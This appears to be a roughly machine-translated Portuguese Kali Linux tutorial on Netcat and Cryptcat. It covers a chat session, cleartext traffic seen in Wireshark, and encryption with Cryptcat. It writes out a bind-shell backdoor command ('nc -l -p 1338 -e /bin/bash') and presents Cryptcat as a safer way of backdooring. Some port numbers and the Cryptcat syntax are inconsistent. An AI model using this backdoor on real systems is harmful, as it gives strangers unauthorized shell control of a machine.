O Netcat é uma ferramenta de depuração de rede bem construída, que pode ler e gravar dados em computadores usando TCP ou UDP, também é chamado de utilitários TCP / IP.
Ele é capaz de atuar como mestre e escravo para fazer transferência de arquivos, captura de banner TCP, shells backdoor, scanner de porta, redirecionamento de porta e bate-papos de rede também podem ser executados usando o Netcat.
Neste tutorial do Kali Linux, como trabalhar com o Netcat e o Cryptcat , mostraria a diferença entre eles.
Shell remoto com o Netcat: -
- Executar comando: nc -l -p 1338 -e / bin / bash
- Acima listener estará escutando via porta 1338 e dá executável -e para qualquer um para acesso de shell por / bin / bash
- Agora, o Kali Linux é um backdoor para sua rede.
- Executar o comando na máquina Windows: nc.exe <Kali linux Ip> <porta de escuta>
- A imagem ilustrada acima mostra a máquina do Windows ou qualquer cliente acessando e controlando a máquina kali por meio de comandos do Linux.
Sala de bate-papo:-
- Execute o comando no Kali Linux: nc -l -p 1337 .
- Acima de comando, a sessão TCP será estabelecida para receber pacotes de qualquer IP que se conecta à porta 1337 e agora o seu próprio mensageiro privado está pronto.
- Execute o comando na máquina do windows: nc.exe <endereço de IP do ouvinte ou Kali linux Ip>
- Acima da imagem ilustram o ouvinte sobre o porto 443 & o bate-papo começa !!!
- Aqui tanto o cliente quanto o servidor são iniciados conversando usando o netcat. Para mais funções e comandos, consulte aqui
Nota: Conversas entre Kali Linux e Windows são criptografadas ou não ??? Vamos verificar com o Wireshark!
Wireshark (ferramenta de captura de pacotes): -
- OOPS !!!! Siga o TCP Stream no Wireshark para capturar conexões e limpar mensagens de texto.OMG!
- Qualquer pessoa na sua rede pode usar o Wireshark para ver essas atividades.
- Mas ainda assim, temos uma idéia para superar esses problemas. Vamos usar cifras!
Cryptcat (criptografia netcat): -
- O Cryptcat tem um recurso avançado, como o uso de criptografias para criptografar a comunicação por texto não criptografado.
- Cryptcat usa criptografia de ponta a ponta usando o algoritmo de criptografia Two-Fish
- Acima do comentário executado: cryptcat - <lisener> <port> 8000
- Comandos do Cryptcat serão iguais aos do netcat
- Realizado backdooring usando Cryptcat, vamos verificar o abaixo Imagem da sessão de chat usando Cryptcat.
- Assim, podemos ver cryptcat criptografa a conexão.Sua maneira mais segura de backdooring.Netcat é adquirida pelo projeto Nmap e nomeado como Ncat que suporta SSL sobre Traffic.Cats são sempre Different.Happy Hacking!